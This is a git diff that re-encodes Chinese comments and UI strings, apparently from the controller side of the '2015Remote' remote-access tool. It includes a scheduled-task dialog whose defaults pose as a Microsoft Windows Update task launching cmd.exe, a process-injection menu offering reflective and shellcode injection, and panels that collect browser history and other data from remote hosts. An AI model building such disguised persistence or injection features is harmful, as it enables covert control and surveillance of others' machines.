zGl}i%vigKlll9_S&6OF&6x%N^VQYRD{V?8M$<+`0cVhdxyg4a=6`cED<=(@dt^Mrn z&W@Le9qW?z2t9Y~?wGS!-x534C9U~2>Yg3zQvHqbp4y}9k=?N_&x=RcOAYPkM*)=w zXRAQ>8KmyrGqSY(Om@e*Y}xq?Aa<m@Vs_Ep4Z65 zj&;e1<>RF+rF$!OTwYeY_dA|v?T&R>**4#kHtalJWOuB~cj^D0t+iDBq?W~6`4G+J z-upY&Wm~WEp2cz0CO(<1x7_y!lC7Aflo@{&JJw|#8&y3&yMv3^ae29C*PM9tLH~)^ zu`U^V!sn(-GGfme9g98FrLpOy<}A56P-4fr+_zonRnE@C6Fb&r+mET5taf6E=lY2q z>yq5fDqm{L*7C`;3&oDhOJ-A|7<^3&{7K2^u;*(=(aubl+&kNe06P20X7;~ecSyfK zmU0K5v~1!gvjYZfUzd9yuZ}$6?|4mPTdP_b*AUy+B^iWSlSJNZkIY`1V*9$}*?R9X zb`-5YgiS9PBY|r@y{bb*>jYuraYngUdzR!AUzf0{(eK9_dcS(dV*9!@yI1N{b}q4f zUBX7?x&8Nzs#n<2{^hXWrH?vV*9TkW7;B=LtDY-!uv~WgKJ3RDzRs;#Ek6rbqTx8vP4bpZi?;e^2pBL zO|gAl9@+W3shx@a^76>edt7Y4ygah=ks@}i%l2MUAB^`JG6jj9*JYkeK4BJzuS;^( zKA$kZiYG9s4P+LMU&Z!y*|T{XoaSfG`C|L^*q&`|&9SBJr(*lM?AhGcY;T0vzAj<6 zagz7A*uE~0?7YWeNArD-?7YXt_H}t==RGdAuS?kbd6aAOA@GT>OW0NqT%QjCJJ#jx z=PbaEb!jn3d#Y7Od?bIzy1f0EE_TPd#BNq-(}K$GA{x*EEV_i~X(DyntBdw0x^=KG*a$^=GTkH3yT!R~0jk7?f8+*YGtuGnnt zirBF(>7}UVz z8$oP8$HHb+CuDq0gzK53vzm`|IomDV^Y{Kb`WP|Iuk9C3ZFxjGekPyzIaXyu?OWGs z5_yKX3rAx81a>q>1h(d!XzrQjv)127@5J`C1Dmx##EFgbpmr>excp6QzwT3sT6Lr~ zM|kGD?aT7SzklBTar?16{qOs7+@DKqUzZ;HtMV+t%I>K;7TedQ$0mQx`tQZ|b?LD+ zkAu82wwX`G_I2s8f19XHi0!vYVzx?Zyfd<1Y`^Y9461BUe|>iTQ}s!#OKJ_b;bV6+ zM+Ce3aX>sV@{;g4S;UTXxzD8Wy&Kyd>9S>0wrBRC<~*|7*Clh}U+#L- z$%egs-m%!eE|2V$wOGW7ugfDlQ(M!O$ZlVkM|PA!TJMPM>+;CX_bZ9*>+;CXt^ih? zL~}%7KP~0Tx1}s-uXuih-O(Ho)qQF`R{f8ROl8@=E@3mPfVna}yGgxl=(Dar^v)u? z{TS@ol*p9x8M@eh48pGMo%$S6cKq?|wa>-&V-U7l#!f7^F;?Co{Cwc{_@g`M_1sy<(}+t@KR z&#w8zyr4D;?d7Osmfdk4^w{*so|S0u*58Po&4U`jto7#DGi&VDCzM9)9P6Dy>^R3( zpJ*<@n%!A;Yd7`VxxeH5z3)G%<5Tjz=MO%YPhxiUNozNKSJ8STo<=*{b98LCd>`9A zXKQ`KS`L&?=Ipv}E^VLuI*N=>Jb!;);$+;il&8dw%gf5HS775kbAM;qZJbb(i&`kM zJFX8_yMJ9&&a-tRYwO?E*sa~n!HAw}BX+i&KeCTKyuICVIbVHZt6wPjDK%N8;d@DT zXW6aY=Mptws-P$ zvEy8&-8j$+J0t9OyXCz8^K-=Zb5*;GHvQFg%zNyK`YF#8e^~zI=_|W|8{N-Wz3q4> zJ4fE=zVhiM-0v`s*V+H0Ucdj&=)OLW^!$t{qx%Xy()X(xeY^RK(S02q>3BZ#RMATJ zYj8)pjc>$uSKFgLrX#)1I+*e0nW&fPNU!a}EZtYrkxrj2E2`#mQp|Q=O-DL?z|4Ur zuf=CDx?e^g>DV6CD5}4VzM|Fqx>%#HXqEaivl{018$H(QMWNAm^|X{n zELQjI*;a?C-u2%Z-7lH6KZo^4X78uYXmmej_Vg9I;TzqL85?0Y{nVE8d^M5L{g{d9 zvvSJleg=-{S|`HQP_tBxVSkT}?q}eLK3gdQo&4+1)Q#w58gDex?ke;sBF#eT)U4sC zPmbJsVf5Z?_wQ=mSrL`eVxbj~JA={vOt7bO-)N^ZTY6+`|C!PKn4vbKb$C2SO*`Od zX3V@jEqb&DU`+4psmg1dm9bsB2BZ5CnW5VZ#4(*75^sL@n7%Jtd!|{gJj43oC?ZFG zS36|Z7cI}+3)WtYZ6|u>XE3^-BguqyR*%iyuU8+vGkO$}dpfm^I(t7N^EabMG4pn3 z`)%kvao3NTJ$!o6 ztgIC8ozdfR^+^A)WG0VUKR3GH*6wX5N;KoSQoMIYk0NsHnGY6h_am~mz0T~=3~0}8 zJ~!K=Isw^Gz1GT&k$&2989gdjE1j_nX1bsNA~WuTsJ2IHG7CORczSGmlq0n>Ftbs# zW|f}Vcy6ej!|aN*s_!tf(SDVEt-ti^Gu3u>+_jk_luompVDw0<_8or(g?BCWml@mH zMV@h{$0cSmPcSliq*eP)MxE_d)L&+7XN3=WfpO~0j8UUUT5a2s~JV^;gy`H|TkX|<0T`j@m8aK<mh2Z9<<{@|wzqUz*<{IQ z?@tyjJOhXYUBI4D*(wHGW2)YxUl(waPCuF_SHm%u8l_ zq}3x+ef+Fbi}h>tNUN8n5AW$IBOcFVR*qkd9%*%y-YLz{>M!fbj(WCvk)Z0$^i9(6+y!A$pv})hUsB>(4q*bG@%y!pV>MwmY;fcLx z=ts%zQ*QJ~t392lryguOYqs9l9~nK;Y8#REi&&+tXJW1H^Ee`0ArN{SX$*NX) z2H%m^e`55!R=KBjrBTmokBz>nRpvLeq|uS+@mz@ZuF}qCE(cNLwK?oeMxSey-MH*m z*;k`ST5YYRwaxy6#L;X$hSBHcD!XQ7ZMN?jJ<@7#JF6z$Uze zpT)47{gjBBmewB`J<{s2thPGA2NT5_J<@8e1N&`l&HL=zBSw$3>f1hhwx8&;87_UV zfOZ^b?NL1Y!swA!Bim#B8a>kLh+gYw7Wt#AFnXlb5#4?l>$iT(kN0Zl=sa5g-beag zP0jFeMEm$ay$J5k>!?Wq8-~}+vC#JY>%`$vYm2?Rv&#G{#6(~ z(yG40?4$9$^FOV>^!?5{HD={$H#l~2`J!ZajkmrE&uH{WtM;8(m!m7Fzw~XdIg+|e z)g~p>o093(@{Z_{R`)Y@&6-%FcBcAm-}XHnJ3lE`FxpwtnDy1@QMtOO+xKIQ8oz!! zXS-(2u%8h-T52YW-&bJt+m)+4#n0>IYY$Uo1yH499HR8n&*M6|cP?j>q-8e$2FVMZB%pVi#9`U9!<5 zt=e~T`rKbZ{iSbvyS77p*qI*e>i0;iWyOE7BGUKwda~c zb{sR4?a|uXe%7n~BCpl>Ie^ByZQoKnZ>i4hCZjPMYStRFs4=^u_Nsm7!$jUPu3qae z{fK0KF?)eA`i72LLUd&GNUQdphYQ@+_DHMyyw$Eji0tNXW>-|M(oet);Ovee^_=wk z@K5zfeE(kgcc*yw>+R>V`|h2M9dp0gez*Np_DkgWPv!l$<>>3}hjR2y*`4=~<@LLA z{7>ce`|bDJ-8Zi)0cl8hD`{Laxs^rNj%n`Ny47sPDo$fHBPW2bx1;3&0 zN$I5$POF-~D1FKFm$GllD4M8eaBe-3kU1k-pU8Yzo&v(C7i%P$yUOgf>MgzFj*PR< zh^+N->fNRV?sMzC9%oLEUi&~}y7uT8m*gWh&*!0qGP4@5Fy3x$k*`ZMd{y?>{N@+$ Hx5xhrS~O(T diff --git a/server/2015Remote/stdafx.cpp b/server/2015Remote/stdafx.cpp index f1bcbf3..0376783 100644 --- a/server/2015Remote/stdafx.cpp +++ b/server/2015Remote/stdafx.cpp @@ -1,7 +1,7 @@ - -// stdafx.cpp : ֻ׼ļԴļ -// 2015Remote.pch ΪԤͷ -// stdafx.obj ԤϢ + +// stdafx.cpp : 只包括标准包含文件的源文件 +// 2015Remote.pch 将作为预编译头 +// stdafx.obj 将包含预编译类型信息 #include "stdafx.h" diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index e98a9ef..eb951f9 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -1,7 +1,7 @@ - -// stdafx.h : ׼ϵͳļİļ -// Ǿʹõĵ -// ضĿİļ + +// stdafx.h : 标准系统包含文件的包含文件, +// 或是经常使用但不常更改的 +// 特定于项目的包含文件 #pragma once @@ -12,51 +12,51 @@ #endif #ifndef VC_EXTRALEAN -#define VC_EXTRALEAN // Windows ͷųʹõ +#define VC_EXTRALEAN // 从 Windows 头中排除极少使用的资料 #endif -// ƳԻMFCؼ֧֣С̬ĴС +// 移除对话框中MFC控件的支持,减小静态编译程序的大小 #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS #ifdef _DEBUG -// ڴй©谲װVLDעʹ -// װVLD, 뽫װ·ӵ: Ϊ"VLDPATH", ·Ϊ"D:\Program Files (x86)\Visual Leak Detector" -// ʵʰװĿ¼дVLDPATH. ֶ༭ÿĿļͷļĿ¼ͿĿ¼. йVLDϢο. -// VS2017ǰ汾VLD: https://kinddragon.github.io/vld -// VS2019ʹõVLD֧VS汾, Ƽ: https://github.com/oneiric/vld/releases/tag/v2.7.0 -// Ҫܿض˳ŵ, ʹReleaseģʽɵij, ԽVLD; ҪVLDļһͬ. -// VLDʾй¶׷ٲ˺öջʹ÷ŷԶءԳʱ -// ȷĵԹߣ Visual Studio WinDbg˷ŷ -// ŷԶȱʧķļ dbghelp.pdb仺浽ط· -// ÷ŷ Visual Studio Ϊ Visual Studio У > ѡ > š -// ѡ Microsoft Symbol Servers. ָŻĿ¼ "C:\Symbols" -// ʱȱʧķţ dbghelp.pdbԶصĿ¼ +// 检测内存泄漏,需安装VLD;否则请注释此行 +// 如果安装了VLD, 请将安装路径添加到环境变量: 名称为"VLDPATH", 路径为"D:\Program Files (x86)\Visual Leak Detector" +// 请根据实际安装目录填写VLDPATH. 或者手动编辑每个项目文件的头文件目录和库目录. 有关下载VLD库的信息请参考下面链接. +// VS2017以前版本的VLD: https://kinddragon.github.io/vld +// VS2019使用的VLD(支持以往的VS版本, 推荐): https://github.com/oneiric/vld/releases/tag/v2.7.0 +// 如果要将受控端程序放到其他机器上面运行, 请使用Release模式生成的程序, 以解除对VLD的依赖; 否则你需要将VLD相关文件一同拷贝. +// 对于VLD提示内容泄露,但是追踪不了函数调用堆栈的情况,请启用使用符号服务器自动下载。这可能引起调试程序的时候变慢。 +// 确保你的调试工具(如 Visual Studio 或 WinDbg)配置了符号服务器。 +// 符号服务器会自动下载缺失的符号文件,包括 dbghelp.pdb,并将其缓存到本地符号路径。 +// 配置符号服务器(以 Visual Studio 为例):在 Visual Studio 中,打开 调试 > 选项 > 符号。 +// 勾选 Microsoft Symbol Servers. 指定符号缓存目录,例如 "C:\Symbols"。 +// 调试时,缺失的符号(如 dbghelp.pdb)会自动下载到缓存目录。 #include "vld.h" #ifndef VLD_RPTHOOK_REMOVE -#error ڴй©谲װVLDע#include "vld.h"ʹRelease +#error 检测内存泄漏,需安装VLD;否则请注释#include "vld.h",或使用Release编译 #endif #endif #include "targetver.h" -#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString 캯ʽ +#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // 某些 CString 构造函数将是显式的 -// ر MFC ijЩɷĺԵľϢ +// 关闭 MFC 对某些常见但经常可放心忽略的警告消息的隐藏 #define _AFX_ALL_WARNINGS -#include // MFC ͱ׼ -#include // MFC չ +#include // MFC 核心组件和标准组件 +#include // MFC 扩展 -#include // MFC Զ +#include // MFC 自动化类 #ifndef _AFX_NO_OLE_SUPPORT -#include // MFC Internet Explorer 4 ؼ֧ +#include // MFC 对 Internet Explorer 4 公共控件的支持 #endif #ifndef _AFX_NO_AFXCMN_SUPPORT -#include // MFC Windows ؼ֧ +#include // MFC 对 Windows 公共控件的支持 #endif // _AFX_NO_AFXCMN_SUPPORT -#include // Ϳؼ MFC ֧ +#include // 功能区和控件条的 MFC 支持 #define WM_USERTOONLINELIST WM_USER + 3000 diff --git a/server/2015Remote/sys/CCreateTaskDlg.cpp b/server/2015Remote/sys/CCreateTaskDlg.cpp index 3806427..007e2af 100644 --- a/server/2015Remote/sys/CCreateTaskDlg.cpp +++ b/server/2015Remote/sys/CCreateTaskDlg.cpp @@ -1,11 +1,11 @@ -// CCreateTaskDlg.cpp: ʵļ +// CCreateTaskDlg.cpp: 实现文件 // #include "stdafx.h" #include "2015Remote.h" #include "CCreateTaskDlg.h" -// CCreateTaskDlg Ի +// CCreateTaskDlg 对话框 IMPLEMENT_DYNAMIC(CCreateTaskDlg, CDialog) @@ -15,7 +15,7 @@ CCreateTaskDlg::CCreateTaskDlg(CWnd* pParent /*=nullptr*/) , m_TaskNames(_T("bhyy")) , m_ExePath(_T("C:\\windows\\system32\\cmd.exe")) , m_Author(_T("Microsoft Corporation")) - , m_Description(_T("Ҫʱ Windows ·ִмƻIJ(ɨ)")) + , m_Description(_T("此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)")) { } @@ -40,12 +40,12 @@ BEGIN_MESSAGE_MAP(CCreateTaskDlg, CDialog) END_MESSAGE_MAP() -// CCreateTaskDlg Ϣ +// CCreateTaskDlg 消息处理程序 void CCreateTaskDlg::OnBnClickedButtonCREAT() { UpdateData(TRUE); - // TODO: ڴӿؼ֪ͨ + // TODO: 在此添加控件通知处理程序代码 CDialog::OnOK(); } diff --git a/server/2015Remote/sys/CCreateTaskDlg.h b/server/2015Remote/sys/CCreateTaskDlg.h index 0bb3219..2c6c240 100644 --- a/server/2015Remote/sys/CCreateTaskDlg.h +++ b/server/2015Remote/sys/CCreateTaskDlg.h @@ -1,7 +1,7 @@ -#pragma once +#pragma once -// CCreateTaskDlg Ի +// CCreateTaskDlg 对话框 class CCreateTaskDlg : public CDialog { @@ -11,7 +11,7 @@ public: CCreateTaskDlg(CWnd* pParent = nullptr); virtual ~CCreateTaskDlg(); - // Ի + // 对话框数据 #ifdef AFX_DESIGN_TIME enum { IDD = IDD_CREATETASK }; #endif diff --git a/server/2015Remote/sys/CInjectCodeDlg.cpp b/server/2015Remote/sys/CInjectCodeDlg.cpp index 0a01ffb..3095477 100644 --- a/server/2015Remote/sys/CInjectCodeDlg.cpp +++ b/server/2015Remote/sys/CInjectCodeDlg.cpp @@ -1,11 +1,11 @@ -// CInjectCodeDlg.cpp: ʵļ +// CInjectCodeDlg.cpp: 实现文件 // #include "stdafx.h" #include "2015Remote.h" #include "CInjectCodeDlg.h" -// CInjectCodeDlg Ի +// CInjectCodeDlg 对话框 #ifdef _DEBUG #define new DEBUG_NEW #endif @@ -14,7 +14,7 @@ IMPLEMENT_DYNAMIC(CInjectCodeDlg, CDialog) CInjectCodeDlg::CInjectCodeDlg(CWnd* pParent /*=nullptr*/) : CDialog(IDD_INJECTINFO, pParent) - , Str_loacal(_T("ļ·")) + , Str_loacal(_T("本地文件路径")) , Str_remote(_T("")) { } @@ -42,13 +42,13 @@ BOOL CInjectCodeDlg::OnInitDialog() { CDialog::OnInitDialog(); int i = 0; - m_combo_main.InsertString(i++, _T("CreateRemoteThread(طע)")); - m_combo_main.InsertString(i++, _T("QueueUserAPC(طע)")); - m_combo_main.InsertString(i++, _T("NtCreateThreadEx(طע)")); + m_combo_main.InsertString(i++, _T("CreateRemoteThread(落地反射注入)")); + m_combo_main.InsertString(i++, _T("QueueUserAPC(落地反射注入)")); + m_combo_main.InsertString(i++, _T("NtCreateThreadEx(落地反射注入)")); - m_combo_main.InsertString(i++, _T("CreateRemoteThread(shellcodeע)")); - m_combo_main.InsertString(i++, _T("QueueUserAPC(shellcodeע)")); - m_combo_main.InsertString(i++, _T("NtCreateThreadEx(shellcodeע)")); + m_combo_main.InsertString(i++, _T("CreateRemoteThread(shellcode注入)")); + m_combo_main.InsertString(i++, _T("QueueUserAPC(shellcode注入)")); + m_combo_main.InsertString(i++, _T("NtCreateThreadEx(shellcode注入)")); m_combo_main.SetCurSel(0); diff --git a/server/2015Remote/sys/CInjectCodeDlg.h b/server/2015Remote/sys/CInjectCodeDlg.h index dbc2412..a7e4a70 100644 --- a/server/2015Remote/sys/CInjectCodeDlg.h +++ b/server/2015Remote/sys/CInjectCodeDlg.h @@ -1,7 +1,7 @@ -#pragma once +#pragma once -// CInjectCodeDlg Ի +// CInjectCodeDlg 对话框 class CInjectCodeDlg : public CDialog { @@ -16,7 +16,7 @@ public: CString Str_loacal; CString Str_remote; - // Ի + // 对话框数据 #ifdef AFX_DESIGN_TIME enum { IDD = IDD_INJECTINFO diff --git a/server/2015Remote/sys/MachineDlg.cpp b/server/2015Remote/sys/MachineDlg.cpp index 6676815..10a83fa 100644 --- a/server/2015Remote/sys/MachineDlg.cpp +++ b/server/2015Remote/sys/MachineDlg.cpp @@ -1,4 +1,4 @@ -// ServiceDlg.cpp : implementation file +// ServiceDlg.cpp : implementation file // #include "stdafx.h" @@ -41,8 +41,8 @@ CMachineDlg::~CMachineDlg() DeleteList(); } -// `SortItemsEx`бҪṹ, -// ݸֵк. +// 如果用`SortItemsEx`函数对列表排序则不需要定义这个结构体, +// 传递给排序函数的值就是行号. class ListItem { public: @@ -72,7 +72,7 @@ int CALLBACK CMachineDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM auto* pSortInfo = reinterpret_cast*>(lParamSort); int nColumn = pSortInfo->first; bool bAscending = pSortInfo->second; - // + // 排序 ListItem* it1 = (ListItem*)lParam1, * it2 = (ListItem*)lParam2; if (it1 == NULL || it2 == NULL) return 0; int n = it1->data[nColumn].Compare(it2->data[nColumn]); @@ -132,7 +132,7 @@ BOOL CMachineDlg::OnInitDialog() // TODO: Add extra initialization here CString str; - str.Format(_T(" - %s"), m_ContextObject->PeerName.c_str()); + str.Format(_T("主机管理 - %s"), m_ContextObject->PeerName.c_str()); SetWindowText(str); m_tab.SetPadding(CSize(6, 3)); @@ -140,15 +140,15 @@ BOOL CMachineDlg::OnInitDialog() m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_UNDERLINEHOT | LVS_EX_SUBITEMIMAGES | LVS_EX_GRIDLINES | LVS_EX_INFOTIP); int i = 0; - m_tab.InsertItem(i++, _T("̹")); - m_tab.InsertItem(i++, _T("ڹ")); - m_tab.InsertItem(i++, _T("")); - m_tab.InsertItem(i++, _T("Ϣ")); - m_tab.InsertItem(i++, _T("¼")); - m_tab.InsertItem(i++, _T(" ")); - m_tab.InsertItem(i++, _T("WIN32")); - m_tab.InsertItem(i++, _T("")); - m_tab.InsertItem(i++, _T("ƻ")); + m_tab.InsertItem(i++, _T("进程管理")); + m_tab.InsertItem(i++, _T("窗口管理")); + m_tab.InsertItem(i++, _T("网络连接")); + m_tab.InsertItem(i++, _T("软件信息")); + m_tab.InsertItem(i++, _T("浏览记录")); + m_tab.InsertItem(i++, _T("收 藏 夹")); + m_tab.InsertItem(i++, _T("WIN32服务")); + m_tab.InsertItem(i++, _T("驱动服务")); + m_tab.InsertItem(i++, _T("计划任务")); m_tab.InsertItem(i++, _T("HOSTS")); if (!m_wndStatusBar.Create(this) || @@ -161,8 +161,8 @@ BOOL CMachineDlg::OnInitDialog() m_wndStatusBar.SetPaneInfo(1, m_wndStatusBar.GetItemID(1), SBPS_STRETCH, 0); m_wndStatusBar.SetPaneInfo(2, m_wndStatusBar.GetItemID(2), SBPS_NORMAL, 300); - m_wndStatusBar.SetPaneText(0, _T("")); - RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //ʾ״̬ + m_wndStatusBar.SetPaneText(0, _T("就绪")); + RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示状态栏 HWND hWndHeader = m_list.GetDlgItem(0)->GetSafeHwnd(); @@ -178,25 +178,25 @@ CString CMachineDlg::__MakePriority(DWORD dwPriClass) CString strRet; switch (dwPriClass) { case REALTIME_PRIORITY_CLASS: - strRet = _T("ʵʱ"); + strRet = _T("实时"); break; case HIGH_PRIORITY_CLASS: - strRet = _T(""); + strRet = _T("高"); break; case ABOVE_NORMAL_PRIORITY_CLASS: - strRet = _T("ڱ׼"); + strRet = _T("高于标准"); break; case NORMAL_PRIORITY_CLASS: - strRet = _T("׼"); + strRet = _T("标准"); break; case BELOW_NORMAL_PRIORITY_CLASS: - strRet = _T("ڱ׼"); + strRet = _T("低于标准"); break; case IDLE_PRIORITY_CLASS: - strRet = _T(""); + strRet = _T("空闲"); break; default: - strRet = _T("δ֪"); + strRet = _T("未知"); break; } @@ -218,7 +218,7 @@ void CMachineDlg::OnReceiveComplete() DeleteList(); if (m_ContextObject->m_DeCompressionBuffer.GetBufferLen() <= 2) { - PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("Ȩ޻޼¼...")), 0); + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("无权限或无记录...")), 0); SetReceivingStatus(false); return; } @@ -254,7 +254,7 @@ void CMachineDlg::OnReceiveComplete() break; default: - // ䷢쳣 + // 传输发生异常数据 break; } SetReceivingStatus(false); @@ -321,7 +321,7 @@ void CMachineDlg::OnRclickList(NMHDR* pNMHDR, LRESULT* pResult) void CMachineDlg::OnClose() { CancelIO(); - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; @@ -351,7 +351,7 @@ void CMachineDlg::OnSelChangeTab(NMHDR* pNMHDR, LRESULT* pResult) void CMachineDlg::OnSelChangingTab(NMHDR* pNMHDR, LRESULT* pResult) { if (*pResult = IsReceivingData()) { - m_wndStatusBar.SetPaneText(0, "ڽ - Ժ..."); + m_wndStatusBar.SetPaneText(0, "正在接收数据 - 请稍后..."); } } @@ -386,21 +386,21 @@ void CMachineDlg::DeleteList() m_list.DeleteColumn(0); } if (!m_bIsClosed) - PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("ȴݷ...")), 0); + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("请等待数据返回...")), 0); } void CMachineDlg::ShowProcessList() { - m_list.InsertColumn(0, _T("ӳ"), LVCFMT_LEFT, 100); + m_list.InsertColumn(0, _T("映像名称"), LVCFMT_LEFT, 100); m_list.InsertColumn(1, _T("PID"), LVCFMT_LEFT, 50); - m_list.InsertColumn(2, _T("ȼ"), LVCFMT_LEFT, 50); - m_list.InsertColumn(3, _T("߳"), LVCFMT_LEFT, 50); - m_list.InsertColumn(4, _T("û"), LVCFMT_LEFT, 70); - m_list.InsertColumn(5, _T("ڴ"), LVCFMT_LEFT, 70); - m_list.InsertColumn(6, _T("ļС"), LVCFMT_LEFT, 80); - m_list.InsertColumn(7, _T("·"), LVCFMT_LEFT, 300); - m_list.InsertColumn(8, _T(""), LVCFMT_LEFT, 100); - m_list.InsertColumn(9, _T("λ"), LVCFMT_LEFT, 80); + m_list.InsertColumn(2, _T("优先级"), LVCFMT_LEFT, 50); + m_list.InsertColumn(3, _T("线程数"), LVCFMT_LEFT, 50); + m_list.InsertColumn(4, _T("用户名"), LVCFMT_LEFT, 70); + m_list.InsertColumn(5, _T("内存"), LVCFMT_LEFT, 70); + m_list.InsertColumn(6, _T("文件大小"), LVCFMT_LEFT, 80); + m_list.InsertColumn(7, _T("程序路径"), LVCFMT_LEFT, 300); + m_list.InsertColumn(8, _T("窗口名称"), LVCFMT_LEFT, 100); + m_list.InsertColumn(9, _T("进程位数"), LVCFMT_LEFT, 80); char* lpBuffer = (char*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwOffset = 0; @@ -443,30 +443,30 @@ void CMachineDlg::ShowProcessList() m_list.SetItemText(i, 8, szBuf_title); m_list.SetItemText(i, 9, (*is64) ? _T("x64") : _T("x86")); - // ListItem ΪID + // ListItem 为进程ID m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i, *lpPID)); dwOffset += sizeof(DWORD) * 5 + sizeof(bool) + MAX_PATH * sizeof(char) + lstrlen(strExeFile) * sizeof(char) + lstrlen(strProcessName) * sizeof(char) + lstrlen(strProcessUser) * sizeof(char) + 6; } - str.Format(_T("· / %d"), i); + str.Format(_T("程序路径 / %d"), i); LVCOLUMN lvc; lvc.mask = LVCF_TEXT; lvc.pszText = str.GetBuffer(0); lvc.cchTextMax = str.GetLength(); m_list.SetColumn(7, &lvc); - PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); + PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0); } void CMachineDlg::ShowWindowsList() { m_list.InsertColumn(0, _T("PID"), LVCFMT_LEFT, 75); - m_list.InsertColumn(1, _T("HWND"), LVCFMT_LEFT, 75); - m_list.InsertColumn(2, _T(""), LVCFMT_LEFT, 300); - m_list.InsertColumn(3, _T("״̬"), LVCFMT_LEFT, 100); - m_list.InsertColumn(4, _T("С"), LVCFMT_LEFT, 100); + m_list.InsertColumn(1, _T("句柄HWND"), LVCFMT_LEFT, 75); + m_list.InsertColumn(2, _T("窗口名称"), LVCFMT_LEFT, 300); + m_list.InsertColumn(3, _T("窗口状态"), LVCFMT_LEFT, 100); + m_list.InsertColumn(4, _T("大小"), LVCFMT_LEFT, 100); LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwOffset = 0; @@ -482,33 +482,33 @@ void CMachineDlg::ShowWindowsList() _stprintf_s(t_hwnd, 250, _T("%d"), m_ibfo.m_hwnd); m_list.SetItemText(i, 1, t_hwnd); m_list.SetItemText(i, 2, m_ibfo.strTitle); - m_list.SetItemText(i, 3, m_ibfo.canlook ? _T("ʾ") : _T("")); + m_list.SetItemText(i, 3, m_ibfo.canlook ? _T("显示") : _T("隐藏")); str.Format(_T("%d*%d"), m_ibfo.w, m_ibfo.h); m_list.SetItemText(i, 4, str); - // ListItem ΪID + // ListItem 为进程ID m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i, m_ibfo.m_poceessid)); dwOffset += sizeof(WINDOWSINFO); } - str.Format(_T(" / %d"), i); + str.Format(_T("窗口名称 / %d"), i); LVCOLUMN lvc = {}; lvc.mask = LVCF_TEXT; lvc.pszText = str.GetBuffer(0); lvc.cchTextMax = str.GetLength(); m_list.SetColumn(2, &lvc); - PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); + PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0); } void CMachineDlg::ShowNetStateList() { - m_list.InsertColumn(0, _T(""), LVCFMT_LEFT, 100); + m_list.InsertColumn(0, _T("进程名"), LVCFMT_LEFT, 100); m_list.InsertColumn(1, _T("PID"), LVCFMT_LEFT, 50); - m_list.InsertColumn(2, _T("Э"), LVCFMT_LEFT, 50); - m_list.InsertColumn(3, _T("صַ:˿"), LVCFMT_LEFT, 130); - m_list.InsertColumn(4, _T("Զ̵ַ:˿"), LVCFMT_LEFT, 130); - m_list.InsertColumn(5, _T("ĿIP"), LVCFMT_LEFT, 140); - m_list.InsertColumn(6, _T("״̬"), LVCFMT_LEFT, 80); + m_list.InsertColumn(2, _T("协议"), LVCFMT_LEFT, 50); + m_list.InsertColumn(3, _T("本地地址:端口"), LVCFMT_LEFT, 130); + m_list.InsertColumn(4, _T("远程地址:端口"), LVCFMT_LEFT, 130); + m_list.InsertColumn(5, _T("目标IP归属地"), LVCFMT_LEFT, 140); + m_list.InsertColumn(6, _T("连接状态"), LVCFMT_LEFT, 80); LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwOffset = 0; @@ -548,17 +548,17 @@ void CMachineDlg::ShowNetStateList() } m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i, pid)); } - PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); + PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0); } void CMachineDlg::ShowSoftWareList() { - m_list.InsertColumn(0, _T(""), LVCFMT_LEFT, 150); - m_list.InsertColumn(1, _T(""), LVCFMT_LEFT, 150); - m_list.InsertColumn(2, _T("汾"), LVCFMT_LEFT, 75); - m_list.InsertColumn(3, _T("װʱ"), LVCFMT_LEFT, 80); - m_list.InsertColumn(4, _T("ж"), LVCFMT_LEFT, 400); + m_list.InsertColumn(0, _T("软件名称"), LVCFMT_LEFT, 150); + m_list.InsertColumn(1, _T("发行商"), LVCFMT_LEFT, 150); + m_list.InsertColumn(2, _T("版本"), LVCFMT_LEFT, 75); + m_list.InsertColumn(3, _T("安装时间"), LVCFMT_LEFT, 80); + m_list.InsertColumn(4, _T("卸载命令及参数"), LVCFMT_LEFT, 400); LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwOffset = 0; @@ -574,15 +574,15 @@ void CMachineDlg::ShowSoftWareList() } m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i)); } - PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); + PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0); } void CMachineDlg::ShowIEHistoryList() { - m_list.InsertColumn(0, _T(""), LVCFMT_LEFT, 70); - m_list.InsertColumn(1, _T("ʱ"), LVCFMT_LEFT, 130); - m_list.InsertColumn(2, _T(""), LVCFMT_LEFT, 150); - m_list.InsertColumn(3, _T("ҳַ"), LVCFMT_LEFT, 400); + m_list.InsertColumn(0, _T("序号"), LVCFMT_LEFT, 70); + m_list.InsertColumn(1, _T("访问时间"), LVCFMT_LEFT, 130); + m_list.InsertColumn(2, _T("标题"), LVCFMT_LEFT, 150); + 